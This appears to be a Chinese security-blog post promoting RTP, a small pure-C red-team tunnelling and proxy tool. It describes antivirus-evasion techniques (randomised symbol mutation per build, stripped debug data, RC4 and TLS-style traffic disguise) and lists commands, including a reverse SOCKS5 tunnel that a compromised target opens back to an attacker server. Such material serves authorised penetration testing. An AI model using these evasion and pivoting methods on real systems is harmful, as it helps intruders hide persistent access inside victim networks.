现在只对常读和星标公众号才展示大图推送，建议大家把“Hack分享吧”设为星标，否则可能看不到了！

RTP：不到 100KB 的纯 C 红队流量手术刀

一句话介绍

RTP（Red Team Proxy）是一个用纯 C 编写的轻量级隧道与代理工具，专为红队实战设计。没有 OpenSSL，没有 libuv，没有 Go 运行时——单文件部署，命令行直驱，二进制不到 100KB。

RTP 支持 Windows（Modern/Legacy）、Linux（x64/arm64/x86）、macOS（Universal）三大平台，统一由 GUI 构建器管理，优先使用 Zig 进行交叉编译。

为什么需要它

传统隧道工具（FRP、IOX 等）大多基于 Go 实现，体积大、特征稳定、落地即被杀。RTP 的设计哲学很直接：

• 更小：纯 C 单二进制，体积不到 100KB，无额外运行时依赖
• 更静：每次构建刷新符号映射，减少稳定静态特征
• 更快：大部分场景只需 -l / -r / -k / --tls 四个参数即可落地

它不是重控制面平台，也不是配置文件驱动的大型框架。它是一把偏实战、偏单兵、偏轻量的流量刀。

功能场景一览

免杀核心思路

RTP 的免杀逻辑不是"堆壳"，而是减少稳定特征，从四个方向同时降噪：

1. 动态变异编译：每次构建自动生成 include/mutated.h，对关键函数名做随机变异，每次产物的符号布局都不同
2. 小体积降低特征密度：纯 C、少依赖、单二进制，没有庞大运行时，也没有大体量框架特征
3. 剥离调试信息：默认使用精简参数输出，避免把调试符号、PDB 和构建痕迹带出去
4. 隧道层流量整形：支持 RC4 加密（-k）、TLS AppData 风格封装（--tls），弱化隧道链路特征

快速上手

启动 GUI 构建器

python RTP.py

支持目标平台/架构选择、自定义编译器路径、中英文切换、一键复制命令。

常用命令速查

# TCP 正向转发
rtp -l 3389 -r 192.168.1.10:3389

# 本地 SOCKS5 入口
rtp -l 1080

# SOCKS5 带认证
rtp -l 1080 --user admin --pass 123456

# 反连 SOCKS5
# 服务器
rtp -l 9998 -l 7777 --reverse-socks
# 靶机
rtp -r <SERVER_IP>:9998 --reverse-socks --reconnect
# 攻击机使用 <SERVER_IP>:7777 作为 SOCKS5 入口

# UDP 转发
rtp -l 53 -r 8.8.8.8:53 -u

# 加密隧道
rtp -r @1.2.3.4:9998 -k "secret" --tls

参数速览

总结

RTP 的价值不只是"能转发"，而是"能在很小的代价下完成转发"。在红队实战中，当你需要一把快速投放、低特征、易部署的流量工具时，RTP 是一个值得加入工具箱的选择。

项目地址：https://github.com/0xShe/RTP

免责声明：本项目仅用于经授权的安全研究、攻防演练与防御验证，请确保所有使用行为符合当地法律法规与目标环境授权要求。